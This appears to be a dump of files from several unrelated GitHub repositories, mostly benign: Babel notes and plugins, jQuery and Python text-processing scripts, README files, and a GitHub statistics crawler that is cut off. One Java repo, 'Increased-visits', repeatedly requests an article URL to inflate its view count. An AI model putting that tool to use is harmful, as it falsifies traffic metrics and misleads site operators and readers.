prod" —env-name指定env,如—env-name prod,则会找到babel.config.js里面的prod对应的presets和plugins env对应的配置会与顶层的配置合并 如 { presets: [ [‘@babel/env-presets’] ], plugins: [], env: { sit: { presets: [],这里就算什么也不写,也会有@babel/env-presets } } } ``` - --source-maps [true|false|inline|botah] - --compact [true|false|auto] - --minified ``` const getUser = () => { return { name: 'sky' } } compact结果:var getUser=function getUser(){return{name:'sky'};}; //去掉了空格,换行,添加分号 minified结果: var getUser=function getUser(){return{name:"sky"}}; //少了一个分号,单引号变成了双引号 ``` - --extensions ``` .js,.jsx ``` - --watch - --verbose 3. target ``` index.js ```class Test{ name = "" say(){ log('say') } }``` enabled.js ```/* eslint no-console: ['off'] */ /* global window:readonly */ console.log(window.name) ``` utils.js ```export default () => {} export class abc { a () { return new Set() } } ``` log.js ```export default msg => { console.log(msg) }``` index.js ```import utils from './utils' export function query (selector) { return $(selector) } export function loadPerson () { utils() return Promise.resolve('ok') } console.log(window.name + ""); // eslint-disable-line no-console, no-undef, semi, quotes ``` core.js ```const babel = require('@babel/core') const types = require('@babel/types') const tpl = ` const log = msg => { console.log(msg); } ` /** * 默认配置: * * babelrc: false, configFile: false, passPerPreset: false, envName: 'development', plugins: [], presets: [], parserOpts: { sourceType: 'module', sourceFileName: undefined, plugins: [] }, generatorOpts: { filename: undefined, auxiliaryCommentBefore: undefined, auxiliaryCommentAfter: undefined, retainLines: undefined, comments: true, shouldPrintComment: undefined, compact: 'auto', minified: undefined, sourceMaps: false, sourceRoot: undefined, sourceFileName: 'unknown' } }, core: 1) 用@babel/parse将code解析成ast 2) 将plugins里面的vistor合并到一个对象{} 3) 调用@babel/traverse(ast, vistor)来遍历ast 4) 调用@babel/generator来生成代码 解析配置时会先加载presets, 读取其plugins plugin1: { Identifier: function(){console.log('a')} } plugin2: { Identifier: function(){console.log('b')} } plugin3: { ArrowFunctionExpression: function(){} } 合并的对象饮食所有非同名key,同名的合进enter 同名的函数合并进enter里面,判断类型执行 合并之后的结果为: { enter: function(){ //function console.log('a') //function console.log('b') }, ArrowFunctionExpression: function(){} } */ const result = babel.transformSync(tpl, { presets: [],//require('@babel/preset-env') plugins: [ require("babel-plugin-log-time"), { visitor: { ArrowFunctionExpression(path){ path.arrowFunctionToExpression() } } } ] }) console.log(result.code) ``` ast.js ```const parser = require('@babel/parser'); const traverse = require('@babel/traverse').default; const generator = require('@babel/generator').default; const types = require('@babel/types'); const ast = parser.parse(` function log(msg){ console.error(msg); } `); /** * traverse的第二个参数可以配置@babel/types里面定义的Types, 如types.TYPES * 如:ArrayExpression AssignmentExpression等 * * 还可以是enter, exit * enter进入节点,exit退出节点 * * * 如果乱传会报错,如a(path){} * traverse内部会调用types.TYPES来判断类型是否存在 */ traverse(ast, { enter(path){ if(types.isFunctionDeclaration(path)){ console.log('enter', path.node.id.name) } }, exit(path) { if(types.isFunctionDeclaration(path)){ console.log('exit', path.node.id.name) } }, FunctionDeclaration(path) { console.log(path.node.id.name) } }); const result = generator(ast) console.log(result.code) ``` disabled.js ```import utils from './utils' // const utils = require('./utils') function query(selector) { // eslint-disable-line return $(selector) } // eslint-disable-next-line space-before-function-paren,no-unused-vars,space-before-blocks function loadPerson(){ utils() return Promise.resolve('ok') } console.log(window.name) // eslint-disable-line no-console, no-undef /* eslint-disable */ console.log(abc) console.log(abc) ``` index.js ```module.exports = function({types}) { return { visitor: { ArrowFunctionExpression(path){ const body = path.get('body') var beginDate = types.variableDeclaration('const', [ types.variableDeclarator( types.identifier('beginDate'), types.newExpression( types.identifier('Date'), [] ) ) ]); const endDate = types.variableDeclaration('const', [ types.variableDeclarator( types.identifier('endDate'), types.newExpression( types.identifier('Date'), [] ) ) ]) const log = types.expressionStatement( types.callExpression( types.memberExpression( types.identifier('console'), types.identifier('log') ), [ types.binaryExpression( '-', types.identifier('endDate'), types.identifier('startDate') ) ] ) ) body.unshiftContainer('body', beginDate); body.pushContainer('body', endDate); body.pushContainer('body', log); } } } } ```
zengfanyu1/saa
zengfanyu1/saa common.js ```//加载底部 $('footer').load('../page/footer.html'); //导航 $('.cen_nav li').click(function () { $(".cen_nav li").eq($(this).index()).addClass("active").siblings().removeClass("active"); }); //轮播 $("#carousel").FtCarousel({ index: 0,//初始索引 auto: false,//是否自动轮播 time: 2500,//自动轮播时间 indicators: true,//是否显示指示按钮 buttons: true,//是否显示左右切换按钮 }); //回到顶部 var gotop = document.getElementById("gotop"); gotop.onclick = function () { scrollTo(0, 0); }; //动画循环 window.addEventListener('scroll', function(){ var scroH = $(document).scrollTop();//滚动条滚动高度 var lcH = $('#lc').offset().top; var xxbz = $('#xxbz').offset().top; var xxbt = $('#xxbt').offset().top; console.log('盒子高:'+xxbz) console.log('滚动条:'+scroH) if(scroH = lcH){ $('.lc_img2').addClass('aniImgLc') } if(scroH = xxbz){ $('.xx_img2').addClass('aniImgXx2'); $('.xx_img3').addClass('aniImgXx3'); $('.xx_img4').addClass('aniImgXx4'); $('.xx_img5').addClass('aniImgXx5'); $('.xx_img6').addClass('aniImgXx6'); } if(scroH = xxbt){ $('.xxbt_img2').addClass('aniImgXxbt2'); $('.xxbt_img3').addClass('aniImgXxbt3'); $('.xxbt_img4').addClass('aniImgXxbt4'); } }); // $(document).scroll(function () { // var titleH1 = $('#title1').offset().top;//标题距离窗口距离 // console.log(titleH1) // var modeH = $('.module_cent').height;//动画容器高度 // var scroH = $(document).scrollTop(); //滚动高度 // console.log(titleH1); // console.log(modeH) // console.log(scroH) // if (scroH === 500) { // console.log('相等') // // $('.lc_img2').addClass('aniImgLc') // // } else { // //$('.lc_img2').removeClass('aniImgLc') // } // // }) ```
zengjichuan/TextProcessor
zengjichuan/TextProcessor fromRaw2LDA.py ```__author__ = 'zengjichuan' import nltk import os import os.path import re from nltk.corpus import stopwords from nltk.corpus import PlaintextCorpusReader import sys def load_data(): data_folder = '/Users/zengjichuan/Dropbox/sharedDataset/text/20newsUsedInSentencReglarizerPaper' corpus = {} for root, dirs, files in os.walk(data_folder): for file_name in files: if re.match(r'\d+', file_name): raw = open(os.path.join(root, file_name)).read() corpus[file_name] = raw return corpus if __name__ == '__main__': # files' content list files_content = [] # file to write output_file = '/Users/zengjichuan/Dropbox/sharedDataset/text/20newsUsedInSentencReglarizerPaper/20news_LDA_text.dat' # load raw corpus my_corpus = load_data() # stopwords filter stop_words = stopwords.words('english') # generate words bag for file_raw in my_corpus: print 'processing ', file_raw, my_corpus[file_raw][:20] if file_raw == '61293': file_word_bag = sorted(w.lower() for w in nltk.word_tokenize(my_corpus[file_raw]) if w.isalpha() and w.lower() not in stop_words) files_content.append(' '.join(file_word_bag)+'\n') print 'LDA Text Token Generated!' # write file with open(output_file, 'w') as f_out: # write documents number f_out.write(str(len(files_content))+'\n') # write content f_out.writelines(files_content) print 'From Raw Text to LDA Text Tokens Finished!' ``` processRawSen.py ```__author__ = 'admin' # This is a script running on raw text materials. The outputs are json format with key for each work # and value for word frequency. It will merge the original files into one output file. # How to use the script? # run 'python processRaw out/outputFileName data/rawFileDir -jmx' # run 'python processRaw out/outputFileName data/rawFileDir/sen' # run 'python processRaw out/outputFilename data/rawFile -jmx' for single input file' import sys import re import os import os.path import json def runJmx(srcFile, destFile): # implement MxTerminator (java version) os.system('java -cp jmx/mxpost.jar eos.TestEOS jmx/eos.project < ' + srcFile + ' > ' + destFile) def getWordFreqDict(originalstr): L = re.split('\W+',originalstr) freqDict = {} for e in L: # deal with digits if e.isdigit(): e = '<digit>' # convert into lowercase e = e.lower() if e not in freqDict: freqDict[e]=0 freqDict[e] += 1 del freqDict[''] # '' should be deleted, because # if str is like 'apple,banana.' re.split('\W+',str) will return 'apple' 'bananna' '' # also, if str is like '.apple' re.split('\W+',str) will return '' 'apple' return freqDict if __name__ == '__main__': destFile = sys.argv[1] if(os.path.isdir(sys.argv[2])): srcFileNames = os.listdir(sys.argv[2]) srcFiles = map(lambda f:sys.argv[2]+'/'+f, srcFileNames) else: srcFileNames = [sys.argv[2]] srcFiles = [sys.argv[2]] # create output dir if doesn't exist if not os.path.exists(os.path.dirname(destFile)): os.makedirs(os.path.dirname(destFile)) print 'dest:',destFile # Use MxTerminator for sentence splitting if(len(sys.argv) == 4 and sys.argv[3] == '-jmx'): print 'run jmx' sen_dir = sys.argv[2]+'/'+'sen' if not os.path.exists(sen_dir): os.makedirs(sen_dir) for (srcFile,srcFileName) in zip(srcFiles, srcFileNames): if (os.path.isdir(srcFile) or srcFile.endswith('sen')): continue runJmx(srcFile, sen_dir+'/'+srcFileName) # Redirect srcFiles srcFiles = os.listdir(sys.argv[2]+'/'+'sen') srcFiles = map(lambda f:sys.argv[2]+'/sen/'+f, srcFiles) fout = open(destFile,'a') for srcFile in srcFiles: if os.path.isdir(srcFile): continue print 'parsing src:'+srcFile fin = open(srcFile,'r') sen_cnt = 0 output_dict = {} for sentence in fin: output_dict['s_'+ str(sen_cnt)] = getWordFreqDict(sentence) sen_cnt += 1 fin.close() fout.write(os.path.basename(srcFile) + ' ' + json.dumps(output_dict) + '\n') fout.close() ``` processRaw.py ```__author__ = 'admin' import sys import re import os import os.path import platform def runJmx(srcFile, destFile): # implement MxTerminator (java version) in Windows oss = platform.system() if oss=='Windows': os.system('java -cp jmx/mxpost.jar eos.TestEOS jmx/eos.project < ' + srcFile + ' > ' + destFile) elif oss=='Linux': print 'linux' elif oss=='Darwin': print 'Mac' def getWordFreqDict(originalstr): L = re.split('\W+',originalstr) freqDict = {} for e in L: # deal with digits if e.isdigit(): e = '<digit>' # convert into lowercase e = e.lower() if e not in freqDict: freqDict[e]=0 freqDict[e] += 1 del freqDict[''] # '' should be deleted, because # if str is like 'apple,banana.' re.split('\W+',str) will return 'apple' 'bananna' '' # also, if str is like '.apple' re.split('\W+',str) will return '' 'apple' return freqDict if __name__ == '__main__': destFile = sys.argv[1] if(os.path.isdir(sys.argv[2])): srcFileNames = os.listdir(sys.argv[2]) srcFiles = map(lambda f:sys.argv[2]+'/'+f, srcFileNames) else: srcFiles = [sys.argv[2]] print 'dest:',destFile # Use MxTerminator for sentence splitting if(len(sys.argv) == 4 and sys.argv[3] == '-jmx'): print 'run jmx' for (srcFile,srcFileName) in zip(srcFiles, srcFileNames): if (os.path.isdir(srcFile) or srcFile.endswith('sen')): continue runJmx(srcFile, sys.argv[2]+'/'+'sen'+'/'+srcFileName) # Redirect srcFiles srcFiles = os.listdir(sys.argv[2]+'/'+'sen') srcFiles = map(lambda f:sys.argv[2]+'/sen/'+f, srcFiles) # fout = open(destFile,'a') for srcFile in srcFiles: if os.path.isdir(srcFile): continue print 'parsing src:'+srcFile fin = open (srcFile,'r') sen_cnt = 0 ```
zengjixiang/astrology-material-tailwind-dashboard-react
zengjixiang/astrology-material-tailwind-dashboard-react README.md ```# [Material Tailwind Dashboard React](https://demos.creative-tim.com/material-tailwind-dashboard-react/#/?ref=readme-mtdr) ![version](https://img.shields.io/badge/version-1.1.0-blue.svg) [![GitHub issues open](https://img.shields.io/github/issues/creativetimofficial/material-tailwind-dashboard-react.svg?maxAge=2592000)](https://github.com/creativetimofficial/material-tailwind-dashboard-react/issues?q=is%3Aopen+is%3Aissue) [![GitHub issues closed](https://img.shields.io/github/issues-closed-raw/creativetimofficial/material-tailwind-dashboard-react.svg?maxAge=2592000)](https://github.com/creativetimofficial/material-tailwind-dashboard-react/issues?q=is%3Aissue+is%3Aclosed) ![Image](https://s3.amazonaws.com/creativetim_bucket/products/488/original/opt_md_tailwindreact_thumbnail.jpg) Material Tailwind Dashboard React is a _free_ Admin Template based on two popular front-end technologies: _Tailwind CSS & React_. It was built to simplify the developer's work and is comes with a fresh design inspired by Google's Material Design. All its components are built to fit perfectly with each other, while aligning to the material concepts. Save weeks of time and build your perfect dashboard with this powerful template! It features 120 fully coded components and 4 example pages if you want to get inspiration or just show something directly to your clients. This beautiful admin also comes with 5 color filter choices for both the sidebar and the card headers (blue, green, orange, red and purple) and an option to have a background image on the sidebar. Material Tailwind Dashboard React is built based on our very popular Material Kit (https://www.creative-tim.com/product/material-kit). It makes use of light, surface and movement. The general layout resembles sheets of paper following multiple layers, so that the depth and order is obvious. Inside the archive you will find multiple example pages on how to use all components. And, of course, every element is well-documented. ## Table of Contents - [Versions](#versions) - [Demo](#demo) - [Quick Start](#quick-start) - [Documentation](#documentation) - [File Structure](#file-structure) - [Browser Support](#browser-support) - [Resources](#resources) - [Reporting Issues](#reporting-issues) - [Technical Support or Questions](#technical-support-or-questions) - [Licensing](#licensing) - [Useful Links](#useful-links) ## Versions [<img src="https://github.com/creativetimofficial/public-assets/blob/master/logos/react.jpg?raw=true" width="60" height="60" />](https://www.creative-tim.com/product/material-tailwind-dashboard-react?ref=readme-mtdr) | React | | ----- | | [![Material Tailwind Dashboard React](https://s3.amazonaws.com/creativetim_bucket/products/488/original/opt_md_tailwindreact_thumbnail.jpg)](https://demos.creative-tim.com/material-tailwind-dashboard-react/#/?ref=readme-mtdr) ## Demo - [Dashboard](https://demos.creative-tim.com/material-tailwind-dashboard-react/#/?ref=readme-mtdr) - [Settings](https://demos.creative-tim.com/material-tailwind-dashboard-react/#/settings?ref=readme-mtdr) - [Tables](https://demos.creative-tim.com/material-tailwind-dashboard-react/#/tables?ref=readme-mtdr) - [Maps](https://demos.creative-tim.com/material-tailwind-dashboard-react/#/maps?ref=readme-mtdr) ## Quick start Quick start options: - Download from [Creative Tim](https://www.creative-tim.com/product/material-tailwind-dashboard-react?ref=readme-mtdr). ## Terminal Commands 1. Download and Install NodeJs from [NodeJs Official Page](https://nodejs.org/en/download/). 2. Navigate to the root / directory and run npm install or (yarn install, if you're using yarn) to install our local dependencies. ## Documentation Material Tailwind Dashboard React build using Material Tailwind and the documentation of Material Tailwind is hosted at [Material Tailwinl](https://material-tailwind.com/documentation/quick-start?ref=readme-mtdr). ### What's included Within the download you'll find the following directories and files: ``` Material Tailwind Dashboard React ├── material-tailwind-dashboard-react │ ├── public │ │   ├── index.html │ │   ├── favicon.ico │ │   └── apple-icon.png │ ├── src │ │   ├── assets │ │   │ ├── img/ │ │   │ └── styles/ │ │   ├── components │ │   │ ├── AdminNavbar.js │ │   │ ├── ChartBar.js │ │   │ ├── ChartLine.js │ │   │ ├── Footer.js │ │   │ ├── MapExample.js │ │   │ ├── PageVisitsCard.js │ │   │ ├── ProfileCard.js │ │   │ ├── SettingsForm.js │ │   │ ├── Sidebar.js │ │   │ ├── StatusCard.js │ │   │ ├── TableCard.js │ │   │ └── TrafficCard.js │ │ ├── Pages │ │ │   ├── Dashboard.js │ │ │   ├── Maps.js │ │ │   ├── Settings.js │ │ │   └── Tables.js │ │ ├── App.js │ │ ├── App.test.js │ │ ├── index.js │ │ ├── reportWebVitals.js │ │ └── setup.test.js │ ├── CHANGELOG.md │ ├── jsconfig.json │ ├── LICENSE │ ├── package.json │ ├── postcss.config.js │ ├── README.md │ ├── tailwind.config.js │ ├── yarn.lock ``` ## Browser Support At present, we officially aim to support the last two versions of the following browsers: <img src="https://s3.amazonaws.com/creativetim_bucket/github/browser/chrome.png" width="64" height="64"> <img src="https://s3.amazonaws.com/creativetim_bucket/github/browser/firefox.png" width="64" height="64"> <img src="https://s3.amazonaws.com/creativetim_bucket/github/browser/edge.png" width="64" height="64"> <img src="https://s3.amazonaws.com/creativetim_bucket/github/browser/safari.png" width="64" height="64"> <img src="https://s3.amazonaws.com/creativetim_bucket/github/browser/opera.png" width="64" height="64"> ## Resources - [Live Preview](https://demos.creative-tim.com/material-tailwind-dashboard-react/#/?ref=readme-mtdr) - [Download Page](https://www.creative-tim.com/product/material-tailwind-dashboard-react?ref=readme-mtdr) - Documentation is [here](https://material-tailwind.com/documentation/quick-start?ref=readme-mtdr) - [License Agreement](https://www.creative-tim.com/license?ref=readme-mtdr) - [Support](https://www.creative-tim.com/contact-us?ref=readme-mtdr) - Issues: [Github Issues Page](https://github.com/creativetimofficial/material-tailwind-dashboard-react/issues) ## Reporting Issues We use GitHub Issues as the official bug tracker for the Material Tailwind Dashboard React. Here are some advices for our users that want to report an issue: 1. Make sure that you are using the latest version of the Material Tailwind Dashboard React. Check the CHANGELOG from your dashboard on our [website](https://www.creative-tim.com/product/material-tailwind-dashboard-react?ref=readme-mtdr). 2. Providing us reproducible steps for the issue will shorten the time it takes for it to be fixed. 3. Some issues may be browser specific, so specifying in what browser you encountered the issue might help. ## Technical Support or Questions If you have questions or need help integrating the product please [contact us](https://www.creative-tim.com/contact-us?ref=readme-mtdr) instead of opening an issue. ## Licensing - Copyright 2021 [Creative Tim](https://www.creative-tim.com?ref=readme-mtdr) - Creative Tim [license](https://www.creative-tim.com/license?ref=readme-mtdr) ## Useful Links - [More products](https://www.creative-tim.com/templates?ref=readme-mtdr) from Creative Tim - [Tutorials](https://www.youtube.com/channel/UCVyTG4sCw-rOvB9oHkzZD1w) - [Freebies](https://www.creative-tim.com/templates/free?ref=readme-mtdr) from Creative Tim - [Affiliate Program](https://www.creative-tim.com/affiliates/new?ref=readme-mtdr) (earn money) ##### Social Media Twitter: <https://twitter.com/CreativeTim> Facebook: <https://www.facebook.com/CreativeTim> Dribbble: <https://dribbble.com/creativetim> Google+: <https://plus.google.com/+CreativetimPage> Instagram: <https://instagram.com/creativetimofficial> ```
zengmengjie/laravel-learning
zengmengjie/laravel-learning README.md ```# laravel-learning laravel第一个项目哦 测试一下分支提交数据 laravel-test first commit ```
zengmf/Increased-visits
zengmf/Increased-visits ref_view.java ```package first; import java.awt.EventQueue; import javax.swing.JFrame; import javax.swing.GroupLayout; import javax.swing.GroupLayout.Alignment; import javax.swing.JButton; import java.awt.event.ActionListener; import java.awt.event.ActionEvent; import javax.swing.JTextField; import javax.swing.LayoutStyle.ComponentPlacement; import javax.swing.JLabel; public class ref_view { private JFrame frame; private JTextField textField; private JTextField textField_1; /** * Launch the application. */ public static void main(String[] args) { EventQueue.invokeLater(new Runnable() { public void run() { try { ref_view window = new ref_view(); window.frame.setVisible(true); } catch (Exception e) { e.printStackTrace(); } } }); } /** * Create the application. */ public ref_view() { initialize(); } /** * Initialize the contents of the frame. */ private void initialize() { frame = new JFrame(); frame.setTitle("长颈鹿辅助管理工具"); frame.setBounds(100, 100, 450, 200); frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); JLabel label = new JLabel("网址:"); JLabel label_1 = new JLabel("刷新数量:"); //文本一:网址 textField = new JTextField("https://changjinglu.pro/article/view/",10); textField.setColumns(25); //文本二:刷新数量 textField_1 = new JTextField("100",10); textField_1.setColumns(25); /* *刷新按钮,调用refresh类中的方法实现刷新的功能 */ JButton btnRefreshreading = new JButton("刷新"); btnRefreshreading.addActionListener(new ActionListener() { public void actionPerformed(ActionEvent e) { try { refresh.RefreshReading(textField,textField_1); } catch (InterruptedException e1) { e1.printStackTrace(); } } }); GroupLayout groupLayout = new GroupLayout(frame.getContentPane()); groupLayout.setHorizontalGroup( groupLayout.createParallelGroup(Alignment.TRAILING) .addGroup(groupLayout.createSequentialGroup() .addGap(105) .addComponent(btnRefreshreading) .addContainerGap(263, Short.MAX_VALUE)) .addGroup(groupLayout.createSequentialGroup() .addContainerGap(GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .addGroup(groupLayout.createParallelGroup(Alignment.TRAILING) .addComponent(label_1) .addComponent(label)) .addGap(18) .addGroup(groupLayout.createParallelGroup(Alignment.LEADING) .addComponent(textField_1, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE) .addComponent(textField, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE)) .addGap(17)) ); groupLayout.setVerticalGroup( groupLayout.createParallelGroup(Alignment.TRAILING) .addGroup(groupLayout.createSequentialGroup() .addContainerGap(41, Short.MAX_VALUE) .addGroup(groupLayout.createParallelGroup(Alignment.BASELINE) .addComponent(textField, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE) .addComponent(label)) .addPreferredGap(ComponentPlacement.RELATED) .addGroup(groupLayout.createParallelGroup(Alignment.BASELINE) .addComponent(textField_1, GroupLayout.PREFERRED_SIZE, GroupLayout.DEFAULT_SIZE, GroupLayout.PREFERRED_SIZE) .addComponent(label_1)) .addGap(18) .addComponent(btnRefreshreading) .addGap(32)) ); frame.getContentPane().setLayout(groupLayout); } } ``` readme.md ```1.双击长颈鹿辅助管理工具.jar,运行工具; 2.文本框一:填写网址; 3.文本框二:填写访问数量; 4.点击刷新开始访问; 5.刷新时刷新按钮是蓝色的,刷新结束变为白色。 ``` refresh.java ```package first; import javax.swing.JTextField; public class refresh { public static void RefreshReading(JTextField textField,JTextField textField_1) throws InterruptedException { String url = textField.getText(); for(int i=0;i<Integer.valueOf(textField_1.getText());i++){ System.out.println(i); HttpUtil.sendGet(url, null); Thread.sleep(10); } } } ```
zengmi2140/List-of-translation-of-crypto-terms-by-EthFans
zengmi2140/List-of-translation-of-crypto-terms-by-EthFans Notification.md ```# 通知区 此处是独立出来的通知区,方便贡献者们在此撰写更新日志和交流工作! ## 2019-03-17 (阿剑)增加词条及简介 Layer-1、Layer-2、Plasma、Sharding (阿剑)增加简介 Permissioned Blockchain、Permissionless Blockchain、Sidechain ## 2019-03-05 (0xl2oot)添加词条 Permissioned blockchain、Permissionless blockchain (注:2018 年的更新已在通知区删去) ```
zengsn/edu-2016-github-based-lab
zengsn/edu-2016-github-based-lab App.java ```/** * 基于GitHub的实验教学代码。<br /> * By 惠州学院 曾少宁 */ package org.zengsource.gitrepostats; import java.io.BufferedReader; import java.io.File; import java.io.FileNotFoundException; import java.io.FileReader; import java.io.FileWriter; import java.io.FilenameFilter; import java.io.IOException; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Map; import org.apache.commons.lang3.math.NumberUtils; import org.zengsource.utils.JsonUtils; /** * 统计一个Repo下贡献者的数据。 */ public class App implements Api { public static void main(String[] args) { runAndRun(); } public static void runAndRun() { try { System.out.println("Run at " + new Date()); run(); } catch (RuntimeException e) { e.printStackTrace(); try { System.out.println("Sleep at " + new Date()); Thread.sleep(61 * 60 * 1000); runAndRun(); // run again } catch (InterruptedException e1) { e1.printStackTrace(); } } } @SuppressWarnings("unchecked") public static void run() { // 先登录 // 读取贡献者 Contributors File file = new File("./"); File jsonFile = new File(file.getAbsolutePath() + "/src/json/contributors.json"); List<Map<String, Object>> contributors = new ArrayList<Map<String, Object>>(); if (!jsonFile.exists()) { // 先取回所有的成员列表 String url = CONTRIBUTORS + "?" + PER_PAGE + "100&" + PAGE + "?" + CLIENT_ID_SECRET; int total = 0; int pages = 1; String resp = Http.get(url + pages); if (resp == null) { // 限制到了,应该停一个小时 throw new RuntimeException("Take a rest for one hour!"); } while (resp != null && resp.startsWith("[")) { List<Map<String, Object>> list = JsonUtils.toList(resp); System.out.println(list.size()); if (list.size() > 0) { total += list.size(); contributors.addAll(list); resp = Http.get(url + ++pages); } else { break; } // for (Map<String, Object> contributor : contributors) { // System.out.println(contributor); // } } System.out.println(total); writeToFile(jsonFile, JsonUtils.toString(contributors)); } else { // 直接读取文件 String json = readFileToString(jsonFile); contributors = JsonUtils.toList(json); } // 读取提交记录 Commits jsonFile = new File(file.getAbsolutePath() + "/src/json/commits.json"); List<Map<String, Object>> commits = new ArrayList<Map<String, Object>>(); if (!jsonFile.exists()) { // 从GitHub取数据 String url = COMMITS + "?" + PER_PAGE + "100&" + PAGE + "?" + CLIENT_ID_SECRET; int total = 0; int pages = 1; String resp = Http.get(url + pages); if (resp == null) { // 限制到了,应该停一个小时 throw new RuntimeException("Take a rest for one hour!"); } while (resp != null && resp.startsWith("[")) { List<Map<String, Object>> list = JsonUtils.toList(resp); System.out.println(list.size()); if (list.size() > 0) { total += list.size(); commits.addAll(list); resp = Http.get(url + ++pages); } else { break; } // for (Map<String, Object> contributor : contributors) { // System.out.println(contributor); // } } System.out.println(total); writeToFile(jsonFile, JsonUtils.toString(commits)); } else { // 直接读取文件 String json = readFileToString(jsonFile); commits = JsonUtils.toList(json.toString()); } // 统计每一个的COMMITS Map<String, Stats> all = new HashMap<String, Stats>(); int commitCount = 1; for (Map<String, Object> commit : commits) { String sha = commit.get("sha").toString(); System.out.println((commitCount++) + " - " + sha); Map<String, Object> author = (Map<String, Object>) commit.get("author"); // System.out.println(commit); // System.out.println(author); if (author == null) { author = (Map<String, Object>) commit.get("commit"); author = (Map<String, Object>) author.get("author"); } String login = author.get("login") != null ? // author.get("login").toString() : author.get("name").toString(); Stats stats = all.get(login); if (stats == null) { stats = new Stats(); all.put(login, stats); } stats.commits++; // 取回一条COMMIT的数据 jsonFile = new File(file.getAbsolutePath() + "/src/json/commits/" + sha + ".json"); Map<String, Object> oneCommit = null; if (!jsonFile.exists()) { // 从服务器取数据 String url = COMMITS + "/" + sha + "?" + CLIENT_ID_SECRET; String resp = Http.get(url); if (resp == null) { // 限制到了,应该停一个小时 throw new RuntimeException("Take a rest for one hour!"); } oneCommit = JsonUtils.toMap(resp); writeToFile(jsonFile, JsonUtils.toString(oneCommit)); } else { // 直接读取文件 String json = readFileToString(jsonFile); oneCommit = JsonUtils.toMap(json); } // Map<String, Object> statsMap = (Map<String, Object>) oneCommit.get("stats"); stats.additions += (Integer) statsMap.get("additions"); stats.deletions += (Integer) statsMap.get("deletions"); if (stats.number == null) { // 找学号 List<Map<String, Object>> fileList = (List<Map<String, Object>>) oneCommit.get("files"); for (Map<String, Object> map : fileList) { String filename = map.get("filename").toString(); int pos = filename.indexOf("works/"); if (pos > -1) { filename = filename.substring(pos + 6); pos = filename.indexOf("/"); if (pos > -1) { // 找到学号 stats.number = filename.substring(0, pos); break; } } } } } // 读取Pulls jsonFile = getJsonFile("pulls"); List<Map<String, Object>> pulls = new ArrayList<Map<String, Object>>(); if (jsonFile == null // 还没有文件;或者未读取完 || !jsonFile.getName().equals("pulls.json")) { int total = 0; // 检查分页数 int pages = 1; if (jsonFile != null) { // 页数在文件名中 // 格式为:pulls-{未读取页数}.json String filename = jsonFile.getName(); String pageStr = filename.replace("pulls-", ""); pageStr = filename.replace(".json", ""); pages = NumberUtils.toInt(pageStr, 1); // 读取原有内容 String json = readFileToString(jsonFile); if (json != null) { pulls = JsonUtils.toList(json); } } // 从GitHub取数据 String url = PULLS + "?" + CLIENT_ID_SECRET + "&" + STATE_CLOSED + "&" + PER_PAGE + "100&" + PAGE; String resp = Http.get(url + pages); if (resp == null) { // 限制到了,应该停一个小时 throw new RuntimeException("Take a rest for one hour!"); } boolean end = false; while (resp != null && resp.startsWith("[")) { List<Map<String, Object>> list = JsonUtils.toList(resp); System.out.println("找到Pulls:" + list.size()); if (list.size() > 0) { total += list.size(); pulls.addAll(list); resp = Http.get(url + ++pages); } else { end = true; break; } } System.out.println("Pulls总数:" + total); // 修改文件名 String filename = "pulls-" + pages + ".json"; if (end) { filename = "pulls.json"; } File newFile = new File(file.getAbsolutePath() // + "/src/json/" + filename); // 新文件 if (jsonFile == null) { jsonFile = newFile; } else if (!filename.equals(jsonFile.getName())) { jsonFile.renameTo(newFile); } if (pulls.size() > 0) { writeToFile(jsonFile, JsonUtils.toString(pulls)); } } else { // 直接读取文件 String json = readFileToString(jsonFile); pulls = JsonUtils.toList(json); } // 读取每一条Pull的内容 System.out.println(pulls.size()); List<Map<String, Object>> result = new ArrayList<Map<String, Object>>(); for (Map<String, Object> pull : pulls) { Map<String, Object> map = null; int number = (Integer) pull.get("number"); // 检查文件 jsonFile = new File(file, "/src/json/pulls/" + number + ".json"); if (!jsonFile.exists()) { // 不存在,从GitHub抓取 String url = PULLS + "/" + number + "?" + CLIENT_ID_SECRET; String resp = Http.get(url); if (resp == null) { // 限制到了,应该停一个小时 throw new RuntimeException("Take a rest for one hour!"); } map = JsonUtils.toMap(resp); writeToFile(jsonFile, JsonUtils.toString(map)); } else { // 直接读取文件 String json = readFileToString(jsonFile); map = JsonUtils.toMap(json); } // 身份标识 Map<String, Object> userMap = (Map<String, Object>) map.get("user"); String login = (String) userMap.get("login"); // 统计 boolean merged = map.get("merged") != null ? (Boolean) map.get("merged") : false; boolean mergeable = map.get("mergeable") != null ? (Boolean) map.get("mergeable") : false; int comments = (Integer) map.get("comments"); int review_comments = (Integer) map.get("review_comments"); int commitss = (Integer) map.get("commits"); int additions = (Integer) map.get("additions"); int deletions = (Integer) map.get("deletions"); int changed_files = (Integer) map.get("changed_files"); Stats stats = all.get(login); if (stats == null) { stats = new Stats(); all.put(login, stats); } stats.pulls += 1; stats.comments += comments; stats.changed_files += changed_files; // 格式 // { // "login":"name", // "pulls": [{ // "merged": true, // "others": '', // "commits": [{ // }] // }]} Map<String, Object> stuMap = null; for (Map<String, Object> map2 : result) { String key = (String) map2.get("login"); if (key.equals(login)) { stuMap = map2; // 已有 } } if (stuMap == null) { stuMap = new HashMap<String, Object>(); stuMap.put("login", login); result.add(stuMap); } List<Map<String, Object>> pullList = // (List<Map<String, Object>>) stuMap.get("pulls"); if (pullList == null) { pullList = new ArrayList<Map<String, Object>>(); stuMap.put("pulls", pullList); } Map<String, Object> pullMap = new HashMap<String, Object>(); pullMap.put("number", number); pullMap.put("title", map.get("title")); pullMap.put("url", map.get("url")); pullMap.put("merged", merged); pullMap.put("mergeable", mergeable); pullMap.put("created_at", map.get("created_at")); // 取回评论信息 pullMap.put("commentCount", comments); if (comments > 0) { System.out.println("Comments = " + comments); // 先检查文件 jsonFile = new File(file, "/src/json/comments/" + number + ".json"); List<Map<String, Object>> commentsOfPull = null; if (!jsonFile.exists()) { String url = (String) map.get("comments_url") + "?" + CLIENT_ID_SECRET; String resp = Http.get(url); if (resp == null) { // 限制到了,应该停一个小时 throw new RuntimeException("Take a rest 